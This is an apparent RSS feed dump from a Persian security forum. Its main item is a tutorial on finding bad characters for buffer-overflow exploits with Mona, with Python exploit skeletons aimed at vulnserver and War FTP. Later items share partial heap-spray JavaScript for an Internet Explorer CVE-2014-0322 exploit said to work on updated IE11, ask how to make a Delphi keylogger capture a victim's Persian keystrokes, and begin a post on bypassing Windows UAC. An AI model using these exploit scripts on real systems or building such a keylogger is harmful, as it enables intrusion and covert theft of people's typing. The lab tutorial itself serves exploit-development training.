!Mona در مسیری که فایل باینری را ایجاد می کند،  بعد از انجام عمل مقایسه نتایج کاملتر را در فایلی به نام compare.txt جهت اطلاعات بیشتر ذخیره می کند. در بخشی از این فایل ساختار مانند زیر مشاهده می شود در واقع !Mona فایل باینری و مکان حافظه که قرار است باهم مقایسه شوند را بصورت یک جدول درنظر می گیرد. در این جدول دوسطر File و Memory وجود دارد. هر بایتی که در مقایسه بین آن دو یکسان باشد در سطر Memory خالی خواهد بود، بدین صورت می توان اولین بایتی که در دوسطر یکسان نمی باشد را بعنوان Bad Char درنظر گرفت. در انتهای جدول تمامی مقایسه ها و مکان های از حافظه که یکسان بوده اند یا نبوده اند را بصورت خلاصه ذکر نموده است:<br />
<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>. . . Snip . . .<br />
[+] Comparing with memory at location : 0x00b2fd44 (Stack)<br />
Only 11 original bytes of 'normal' code found.<br />
&nbsp;&nbsp;&nbsp;&nbsp;,-----------------------------------------------.<br />
&nbsp;&nbsp;&nbsp;&nbsp;| Comparison results:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<br />
&nbsp;&nbsp;&nbsp;&nbsp;|-----------------------------------------------|<br />
&nbsp;&nbsp;0 |01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10| File<br />
&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 20 20 63 6e 74 72 20| Memory<br />
 10 |11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20| File<br />
&nbsp;&nbsp;&nbsp;&nbsp;|49 6c 6c 65 67 61 6c 20 75 73 65 72 69 64 2e&nbsp;&nbsp; | Memory<br />
 20 |21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30| File<br />
&nbsp;&nbsp;&nbsp;&nbsp;|4c 6f 67 69 6e 20 72 65 66 75 73 65 64&nbsp;&nbsp;&nbsp;&nbsp;0d 0a| Memory<br />
 30 |31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40| File<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;. . . Snip . . .<br />
<br />
 e0 |e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0| File<br />
&nbsp;&nbsp;&nbsp;&nbsp;|88 0d 18 00 00 00 00 00 a4 50 3b 00 00 00 00 00| Memory<br />
 f0 |f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff&nbsp;&nbsp; | File<br />
&nbsp;&nbsp;&nbsp;&nbsp;|14 00 00 00 01 00 00 00 00 00 00 00 00 00 00&nbsp;&nbsp; | Memory<br />
&nbsp;&nbsp;&nbsp;&nbsp;`-----------------------------------------------'<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| File&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| Memory&nbsp;&nbsp;&nbsp;&nbsp;| Note&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
---------------------------------------------------<br />
0&nbsp;&nbsp;0&nbsp;&nbsp;9&nbsp;&nbsp; 9&nbsp;&nbsp; | 01 ... 09 | 01 ... 09 | unmodified!<br />
---------------------------------------------------<br />
9&nbsp;&nbsp;9&nbsp;&nbsp;22&nbsp;&nbsp;22&nbsp;&nbsp;| 0a ... 1f | 20 ... 2e | corrupted&nbsp;&nbsp;<br />
31 31 1&nbsp;&nbsp; 1&nbsp;&nbsp; | 20&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| 20&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| unmodified!<br />
32 32 13&nbsp;&nbsp;13&nbsp;&nbsp;| 21 ... 2d | 4c ... 64 | corrupted&nbsp;&nbsp;<br />
45 45 1&nbsp;&nbsp; 1&nbsp;&nbsp; | 2e&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| 2e&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| unmodified!<br />
46 46 209 209 | 2f ... ff | 0d ... 00 | corrupted&nbsp;&nbsp;<br />
<br />
Possibly bad chars: 0a<br />
Bytes omitted from input: 00<br />
. . . Snip . . .</code></div></div><br />
در مرحله بعد 0x0D شناسایی می شود و با تکرار دوباره این مراحل به صورت زیر خروجی بدست می آید، در واقع Bad Char در این تارگت چهار کاراکتر است.<br />
<br />
<img src="http://4xmen.ir/wp-content/uploads/2014/04/image6.png" alt="[تصویر:  image6.png]" class="mycode_img" /><br />
<br />
حال این چهار کاراکتر را از لیست حذف می کنیم:<br />
<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>!mona bytearray -cpb “&#92;x00&#92;x0a&#92;x0d&#92;x40″</code></div></div><br />
بعد از اینکه این چهار کاراکتر را از لیست حذف نمودیم دیگر مشکلی نیست و لیست کاراکتر ها بدرستی درون حافظه وارد می شود.<br />
<img src="http://4xmen.ir/wp-content/uploads/2014/04/image71.png" alt="[تصویر:  image71.png]" class="mycode_img" /><br />
<br />
حال اگر نیاز باشد تا بصورت مجموعه ای از کاراکتر را حذف کنید بدین صورت عمل می کنیم:<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>!mona bytearray -cpb “&#92;x30..&#92;x39″</code></div></div><br />
استفاده از کامند بالا باعث حذف کاراکتر های عددی از لیست خواهد شد. کامند زیر کمی این قواعد را پیچیده تر استفاده نموده است:<br />
<br />
<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>!mona bytearray -cpb “&#92;x00..&#92;x40&#92;x5B..&#92;x60&#92;x7B..&#92;xFF”</code></div></div><br />
کامند بالا لیستی را ایجاد می کند که حروف انگلیسی بزرگ و کوچک را شامل می شود.]]></description>
			<content:encoded><![CDATA[اگر کمی با اکسپلویت نویسی و نحوه اکسپلویت کردن برنامه آشنایی داشته باشید بدون شک با مفهوم Bad Char آشنا هستید. Bad Char در اکسپلویت کاراکترهایی را می گویند که از وارد شدن کامل اکسپلویت به درون حافظه جلوگیری می کنند. بعنوان مثال در ورودی برنامه های C/C++ اگر دربین رشته ورودی 0×00 وجود داشته باشد به عنوان انتهای ورودی محسوب می شود و بعد از کاراکتر 0×00 نادیده گرفته می شود، بنابراین Bad Char ها یکی از ضروریات است که بایستی متناسب با هدف، آنها را بدانیم.<br />
<br />
    سوال : چگونه متناسب با هدف Bad Char ها را بدست آوریم؟؟<br />
<br />
    جواب : بایستی تمامی کاراکتر های که ممکن است بعنوان Bad Char محسوب گردند را لیست نموده  تا بتوانیم توسط سعی و خطا تک،تک آنهارا بدست آوریم. این لیست در واقع از 0×00 تا 0xFF می باشد.<br />
<br />
لیست ایجاد شده را بایستی در اکسپلویت مان بعد از Return Address قرار می دهیم بدین دلیل که Bad Char از بازنویسی Return Address جلوگیری نکند تا بتوانیم درون حافظه چک کنیم که لیست مان تا چه مکانی کپی شده اند و Bad Char چه بوده که باعث جلوگیری از کپی کامل اکسپلویت درون حافظه شده است.<br />
<br />
در این مقاله برروی vulnserver که توسط Stephen Bradshaw نوشته شده و یک برنامه آسیب پذیر جهت تست و مثال آموزشی مورد استفاده قرار می گیرد، تست خود را انجام می دهیم.<br />
<br />
بعد از اضافه نمودن لیست Bad Char به کدهایمان و ارسال آن به پورت vulnserver اولین راهکار این خواهد بود که بصورت دستی حافظه را چک کنیم تا کاراکتر را بدست آوریم ولی اینکار کمی زمانبر و کسل کننده است. راهکار بعدی استفاده از mona خواهد بود که بهتر از حالت قبل است، پس روند کارمان با استفاده از ابزار mona خواهد بود.<br />
<br />
 <br />
<br />
ابتدا توسط mona لیست کاراکترها را ایجاد می کنیم:<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>!mona bytearray</code></div></div><br />
<img src="http://4xmen.ir/wp-content/uploads/2014/04/image1.png" alt="[تصویر:  image1.png]" class="mycode_img" /><br />
<br />
با اجرا این کامند دو فایل در working folder ایجاد می شود:<br />
<br />
<ol type="1" class="mycode_list"><li>فایل متنی (txt) شامل کدهای، لیست ایجاد شده است که در سورس مان اضافه نماییم.<br />
</li>
<li>فایل باینری (bin) این فایل در ادامه جهت چک نمودن حافظه مورد استفاده قرار می گیرد.<br />
</li>
</ol>
<br />
حال با استفاده از فایل متنی ایجاد شده سورس برنامه خود را تغییر می دهیم و بدین صورت خواهد شد:<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>#!/usr/bin/env python<br />
#<br />
# @author : AHA at 4xmen.ir<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HamiD.Rezaei<br />
#<br />
import socket,sys,struct<br />
 <br />
host = '127.0.0.1'<br />
port = 9999<br />
vuln_cmd ='TRUN .'<br />
vuln_buff_size= 2006<br />
NOP = "&#92;x90"<br />
 <br />
def main():<br />
&nbsp;&nbsp;&nbsp;&nbsp;s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)<br />
&nbsp;&nbsp;&nbsp;&nbsp;try:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.connect((host,port))<br />
&nbsp;&nbsp;&nbsp;&nbsp;except:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print "[-] Connection to "+host+" failed!"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sys.exit(0)<br />
&nbsp;&nbsp;&nbsp;&nbsp;print "[*] Connected ..."&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;print "[+] Create exploit with bad char ..."<br />
&nbsp;&nbsp;&nbsp;&nbsp;bad_char=("&#92;x00&#92;x01&#92;x02&#92;x03&#92;x04&#92;x05&#92;x06&#92;x07&#92;x08&#92;x09&#92;x0a&#92;x0b&#92;x0c&#92;x0d"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;... Snip ...<br />
"&#92;xf2&#92;xf3&#92;xf4&#92;xf5&#92;xf6&#92;xf7&#92;xf8&#92;xf9&#92;xfa&#92;xfb&#92;xfc&#92;xfd&#92;xfe&#92;xff")<br />
&nbsp;&nbsp;&nbsp;&nbsp;buff=vuln_cmd<br />
&nbsp;&nbsp;&nbsp;&nbsp;buff+= 'A'* vuln_buff_size<br />
&nbsp;&nbsp;&nbsp;&nbsp;buff+= 'BBBB'<br />
&nbsp;&nbsp;&nbsp;&nbsp;buff+= bad_char<br />
&nbsp;&nbsp;&nbsp;&nbsp;print "[*] Sending Exploit ..."<br />
&nbsp;&nbsp;&nbsp;&nbsp;s.send(buff)<br />
 <br />
if __name__ == '__main__':<br />
&nbsp;&nbsp;&nbsp;&nbsp;main()</code></div></div><br />
بعد از ارسال کدها به سرور با استفاده از کامند زیر عمل مقایسه را انجام می دهیم که خروجی مانند تصویر خواهد بود:<br />
<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>!mona compare -f C:&#92;logs&#92;vulnserver&#92;bytearray.bin -a 00C5FA0C</code></div></div><br />
در خروجی بخش Bad Char خالی خواهد بود ولی به status نیز دقت کنید، حال بایستی حافظه را خودمان چک کنیم و می فهمیم  که اولین Bad Char نیز 0×00 خواهد بود و به دلیل وضیعت حافظه نتوانسته تشخیص بدهد:<br />
<br />
<img src="http://4xmen.ir/wp-content/uploads/2014/04/image21.png" alt="[تصویر:  image21.png]" class="mycode_img" /><br />
<br />
اولین Bad Char را بصورت دستی پیدا نمودیم حال بایستی لیست جدیدی ایجاد نماییم که این کاراکتر در آن نباشد و دوباره تست را انجام دهیم. با استفاده از کامند زیر می توانیم لیستی بدون کاراکترهای مشخص شده ایجاد نماییم:<br />
<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>!mona bytearray -cpb “&#92;x00″</code></div></div><br />
مراحل قبل را با لیست جدید ادامه می دهیم، می بینیم که خروجی کاراکتری را مشخص ننموده است و همچنین لیست کاراکترها بطورکامل درون حافظه وارد شده اند، بنابراین تنها Bad Char برای این تارگت 0×00 خواهد بود.<br />
<img src="http://4xmen.ir/wp-content/uploads/2014/04/image31.png" alt="[تصویر:  image31.png]" class="mycode_img" /><br />
<br />
بعنوان مثال دیگر <a href="http://www.exploit-db.com/exploits/3570/" target="_blank" rel="noopener" class="mycode_url">war ftp</a> را مورد بررسی قرار می دهیم. سورس برنامه مان بدین صورت خواهد بود:<br />
<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>#!/usr/bin/env python<br />
#<br />
# @author : AHA at 4xmen.ir<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HamiD.Rezaei<br />
#<br />
import socket,sys,struct<br />
 <br />
host = '192.168.93.131'<br />
port = 21<br />
vuln_cmd ='USER '<br />
vuln_buff_size= 485<br />
end_cmd='&#92;r&#92;n'<br />
NOP = "&#92;x90"<br />
 <br />
def main():<br />
&nbsp;&nbsp;&nbsp;&nbsp;s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)<br />
&nbsp;&nbsp;&nbsp;&nbsp;try:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.connect((host,port))<br />
&nbsp;&nbsp;&nbsp;&nbsp;except:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print "[-] Connection to "+host+" failed!"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sys.exit(0)<br />
&nbsp;&nbsp;&nbsp;&nbsp;s.recv(1024)<br />
&nbsp;&nbsp;&nbsp;&nbsp;print "[*] Connected ..."&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;print "[+] Create exploit with bad char ..."<br />
&nbsp;&nbsp;&nbsp;&nbsp;bad_char=("&#92;x00&#92;x01&#92;x02&#92;x03&#92;x04&#92;x05&#92;x06&#92;x07&#92;x08&#92;x09&#92;x0a&#92;x0b&#92;x0c&#92;x0d"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;... Snip ...<br />
"&#92;xf2&#92;xf3&#92;xf4&#92;xf5&#92;xf6&#92;xf7&#92;xf8&#92;xf9&#92;xfa&#92;xfb&#92;xfc&#92;xfd&#92;xfe&#92;xff")<br />
&nbsp;&nbsp;&nbsp;&nbsp;buff=vuln_cmd<br />
&nbsp;&nbsp;&nbsp;&nbsp;buff+= 'A'* vuln_buff_size<br />
&nbsp;&nbsp;&nbsp;&nbsp;buff+= 'BBBB'<br />
&nbsp;&nbsp;&nbsp;&nbsp;buff+= bad_char<br />
&nbsp;&nbsp;&nbsp;&nbsp;buff+= end_cmd<br />
&nbsp;&nbsp;&nbsp;&nbsp;print "[*] Sending exploit ..."<br />
&nbsp;&nbsp;&nbsp;&nbsp;s.send(buff)<br />
 <br />
if __name__ == '__main__':<br />
&nbsp;&nbsp;&nbsp;&nbsp;main()</code></div></div><br />
حال برنامه را اجرا نموده و با استفاده از دستور زیر حافظه را با فایل باینری مقایسه می کنیم:<br />
<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>!mona compare -f C:&#92;logs&#92;war-ftpd&#92;bytearray.bin -a 00B2FD44</code></div></div><br />
خروجی مانند تصویر زیر خواهد بود که اولین کاراکتر 0×00 که پیدا نموده است:<br />
<br />
<img src="http://4xmen.ir/wp-content/uploads/2014/04/image4.png" alt="[تصویر:  image4.png]" class="mycode_img" /><br />
<br />
لیست جدید بدون 0×00 ایجاد نموده و دوباره تست را انجام میدهیم. در این مرحله کاراکتر بعدی که شناسایی می شود 0x0A می باشد.<br />
<br />
<img src="http://4xmen.ir/wp-content/uploads/2014/04/image5.png" alt="[تصویر:  image5.png]" class="mycode_img" /><br />
<br />
!Mona در مسیری که فایل باینری را ایجاد می کند،  بعد از انجام عمل مقایسه نتایج کاملتر را در فایلی به نام compare.txt جهت اطلاعات بیشتر ذخیره می کند. در بخشی از این فایل ساختار مانند زیر مشاهده می شود در واقع !Mona فایل باینری و مکان حافظه که قرار است باهم مقایسه شوند را بصورت یک جدول درنظر می گیرد. در این جدول دوسطر File و Memory وجود دارد. هر بایتی که در مقایسه بین آن دو یکسان باشد در سطر Memory خالی خواهد بود، بدین صورت می توان اولین بایتی که در دوسطر یکسان نمی باشد را بعنوان Bad Char درنظر گرفت. در انتهای جدول تمامی مقایسه ها و مکان های از حافظه که یکسان بوده اند یا نبوده اند را بصورت خلاصه ذکر نموده است:<br />
<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>. . . Snip . . .<br />
[+] Comparing with memory at location : 0x00b2fd44 (Stack)<br />
Only 11 original bytes of 'normal' code found.<br />
&nbsp;&nbsp;&nbsp;&nbsp;,-----------------------------------------------.<br />
&nbsp;&nbsp;&nbsp;&nbsp;| Comparison results:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<br />
&nbsp;&nbsp;&nbsp;&nbsp;|-----------------------------------------------|<br />
&nbsp;&nbsp;0 |01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10| File<br />
&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 20 20 63 6e 74 72 20| Memory<br />
 10 |11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20| File<br />
&nbsp;&nbsp;&nbsp;&nbsp;|49 6c 6c 65 67 61 6c 20 75 73 65 72 69 64 2e&nbsp;&nbsp; | Memory<br />
 20 |21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30| File<br />
&nbsp;&nbsp;&nbsp;&nbsp;|4c 6f 67 69 6e 20 72 65 66 75 73 65 64&nbsp;&nbsp;&nbsp;&nbsp;0d 0a| Memory<br />
 30 |31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40| File<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;. . . Snip . . .<br />
<br />
 e0 |e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0| File<br />
&nbsp;&nbsp;&nbsp;&nbsp;|88 0d 18 00 00 00 00 00 a4 50 3b 00 00 00 00 00| Memory<br />
 f0 |f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff&nbsp;&nbsp; | File<br />
&nbsp;&nbsp;&nbsp;&nbsp;|14 00 00 00 01 00 00 00 00 00 00 00 00 00 00&nbsp;&nbsp; | Memory<br />
&nbsp;&nbsp;&nbsp;&nbsp;`-----------------------------------------------'<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| File&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| Memory&nbsp;&nbsp;&nbsp;&nbsp;| Note&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
---------------------------------------------------<br />
0&nbsp;&nbsp;0&nbsp;&nbsp;9&nbsp;&nbsp; 9&nbsp;&nbsp; | 01 ... 09 | 01 ... 09 | unmodified!<br />
---------------------------------------------------<br />
9&nbsp;&nbsp;9&nbsp;&nbsp;22&nbsp;&nbsp;22&nbsp;&nbsp;| 0a ... 1f | 20 ... 2e | corrupted&nbsp;&nbsp;<br />
31 31 1&nbsp;&nbsp; 1&nbsp;&nbsp; | 20&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| 20&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| unmodified!<br />
32 32 13&nbsp;&nbsp;13&nbsp;&nbsp;| 21 ... 2d | 4c ... 64 | corrupted&nbsp;&nbsp;<br />
45 45 1&nbsp;&nbsp; 1&nbsp;&nbsp; | 2e&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| 2e&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| unmodified!<br />
46 46 209 209 | 2f ... ff | 0d ... 00 | corrupted&nbsp;&nbsp;<br />
<br />
Possibly bad chars: 0a<br />
Bytes omitted from input: 00<br />
. . . Snip . . .</code></div></div><br />
در مرحله بعد 0x0D شناسایی می شود و با تکرار دوباره این مراحل به صورت زیر خروجی بدست می آید، در واقع Bad Char در این تارگت چهار کاراکتر است.<br />
<br />
<img src="http://4xmen.ir/wp-content/uploads/2014/04/image6.png" alt="[تصویر:  image6.png]" class="mycode_img" /><br />
<br />
حال این چهار کاراکتر را از لیست حذف می کنیم:<br />
<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>!mona bytearray -cpb “&#92;x00&#92;x0a&#92;x0d&#92;x40″</code></div></div><br />
بعد از اینکه این چهار کاراکتر را از لیست حذف نمودیم دیگر مشکلی نیست و لیست کاراکتر ها بدرستی درون حافظه وارد می شود.<br />
<img src="http://4xmen.ir/wp-content/uploads/2014/04/image71.png" alt="[تصویر:  image71.png]" class="mycode_img" /><br />
<br />
حال اگر نیاز باشد تا بصورت مجموعه ای از کاراکتر را حذف کنید بدین صورت عمل می کنیم:<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>!mona bytearray -cpb “&#92;x30..&#92;x39″</code></div></div><br />
استفاده از کامند بالا باعث حذف کاراکتر های عددی از لیست خواهد شد. کامند زیر کمی این قواعد را پیچیده تر استفاده نموده است:<br />
<br />
<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>!mona bytearray -cpb “&#92;x00..&#92;x40&#92;x5B..&#92;x60&#92;x7B..&#92;xFF”</code></div></div><br />
کامند بالا لیستی را ایجاد می کند که حروف انگلیسی بزرگ و کوچک را شامل می شود.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[حفره امنیتی خطرناک در اینترنت اکسپلورر 10 شاید 11 !!]]></title>
			<link>https://www.iranled.com/forum/thread-28257.html</link>
			<pubDate>Sun, 18 May 2014 18:09:31 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-28257.html</guid>
			<description><![CDATA[سلام حیفم اومد این باگ رو توی سایت نذارم بازم شاهکار مایکروسافت IE<br />
<br />
با انالیز و تغییر کمی که انجام دادم رو 11 و اپدیت شده هم کار میکنه به شرطی ...!!!<br />
<!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://www.iranled.com/forum/images/attachtypes/image.gif" title="JPEG Image" border="0" alt=".jpg" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="https://www.iranled.com/forum/attachment.php?aid=11744" target="_blank">ie.jpg</a> (اندازه:  9.42 KB / تعداد دفعات دریافت:  85)
<!-- end: postbit_attachments_attachment --><br />
انالیز :<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>&lt;script&gt;<br />
function dword2data(dword) {<br />
var d = Number(dword).toString(16);<br />
while (d.length &lt; 8)<br />
d = '0' + d;<br />
return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));<br />
}<br />
<br />
<br />
var g_arr = [];<br />
var arrLen = 0x250;</code></div></div><br />
<a href="http://hdwsec.fr/blog/CVE-2014-0322.html" target="_blank" rel="noopener" class="mycode_url">http://hdwsec.fr/blog/CVE-2014-0322.html</a><br />
<br />
<a href="http://farzadsharifi.com/" target="_blank" rel="noopener" class="mycode_url">منبع سایت مهندس فرزاد شریفی</a>]]></description>
			<content:encoded><![CDATA[سلام حیفم اومد این باگ رو توی سایت نذارم بازم شاهکار مایکروسافت IE<br />
<br />
با انالیز و تغییر کمی که انجام دادم رو 11 و اپدیت شده هم کار میکنه به شرطی ...!!!<br />
<!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://www.iranled.com/forum/images/attachtypes/image.gif" title="JPEG Image" border="0" alt=".jpg" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="https://www.iranled.com/forum/attachment.php?aid=11744" target="_blank">ie.jpg</a> (اندازه:  9.42 KB / تعداد دفعات دریافت:  85)
<!-- end: postbit_attachments_attachment --><br />
انالیز :<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>&lt;script&gt;<br />
function dword2data(dword) {<br />
var d = Number(dword).toString(16);<br />
while (d.length &lt; 8)<br />
d = '0' + d;<br />
return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));<br />
}<br />
<br />
<br />
var g_arr = [];<br />
var arrLen = 0x250;</code></div></div><br />
<a href="http://hdwsec.fr/blog/CVE-2014-0322.html" target="_blank" rel="noopener" class="mycode_url">http://hdwsec.fr/blog/CVE-2014-0322.html</a><br />
<br />
<a href="http://farzadsharifi.com/" target="_blank" rel="noopener" class="mycode_url">منبع سایت مهندس فرزاد شریفی</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[بازگشت دوباره + سوال برنامه نویسی]]></title>
			<link>https://www.iranled.com/forum/thread-28094.html</link>
			<pubDate>Tue, 15 Apr 2014 15:23:27 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-28094.html</guid>
			<description><![CDATA[با سلام .بنا به دلایلی که شاید بگم چند روز دیگه از سایت دور بودم و نتونستم در خدمت دوستان باشم ولی از نظر اطلاعات اپدیت هستم و فقط فعالیت عمومی نداشتم . و از این پس در خدمت دوستان و اساتید خواهم بود .و از مدیر محترم درخواست دارم در صورت امکان مدیریت منو به حالت قبل بر گردونن <img src="https://www.iranled.com/forum/images/smilies2/heart.gif" alt="Heart" title="Heart" class="smilie smilie_15" /> و اما سوال <br />
<br />
در مورد نحوه تشخیص زبان برنامه (در حالت کار) و نه زبان ویندوز برای لاگ کردن کلید ها در دلفی میباشد . مثلا قربانی در ورد افیس در حال تایپ هستش و زبانش فارسی هست چطور برنامه اینو تشخیص داده و کلید ها رو بصورت فارسی لاگ کنه . در مورد اینگلیسی و لاگ موردی ندارم فقط در حالت ها مختلف زبا نی مورد دارم که مثلا طرف فارسی تایپ میکنه لاگر من اینگلیسی کپچر میکنه زبان خود ویندوز رو هم میتونم تشخیص بدم ولی میدونین که شاید زبان در یک برنامه اینگلیسی باشه و در برنامه ای دیگر فارسی]]></description>
			<content:encoded><![CDATA[با سلام .بنا به دلایلی که شاید بگم چند روز دیگه از سایت دور بودم و نتونستم در خدمت دوستان باشم ولی از نظر اطلاعات اپدیت هستم و فقط فعالیت عمومی نداشتم . و از این پس در خدمت دوستان و اساتید خواهم بود .و از مدیر محترم درخواست دارم در صورت امکان مدیریت منو به حالت قبل بر گردونن <img src="https://www.iranled.com/forum/images/smilies2/heart.gif" alt="Heart" title="Heart" class="smilie smilie_15" /> و اما سوال <br />
<br />
در مورد نحوه تشخیص زبان برنامه (در حالت کار) و نه زبان ویندوز برای لاگ کردن کلید ها در دلفی میباشد . مثلا قربانی در ورد افیس در حال تایپ هستش و زبانش فارسی هست چطور برنامه اینو تشخیص داده و کلید ها رو بصورت فارسی لاگ کنه . در مورد اینگلیسی و لاگ موردی ندارم فقط در حالت ها مختلف زبا نی مورد دارم که مثلا طرف فارسی تایپ میکنه لاگر من اینگلیسی کپچر میکنه زبان خود ویندوز رو هم میتونم تشخیص بدم ولی میدونین که شاید زبان در یک برنامه اینگلیسی باشه و در برنامه ای دیگر فارسی]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[دور زدن UAC در تمام نسخه‌های ویندوز]]></title>
			<link>https://www.iranled.com/forum/thread-28018.html</link>
			<pubDate>Wed, 02 Apr 2014 17:15:33 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-28018.html</guid>
			<description><![CDATA[UAC، سازوکاری است که ویندوز برای مدیریت دست‌رسی به حساب‌های کاربری از آن استفاده می‌کند. هربار که برنامه‌ای قصد تغییرات عمده‌ای در سامانه‌عامل دارد، UAC، این مسئله را به کاربر اطلاع می‌دهد و مجوز این کار را از وی دریافت می‌کند.<br />
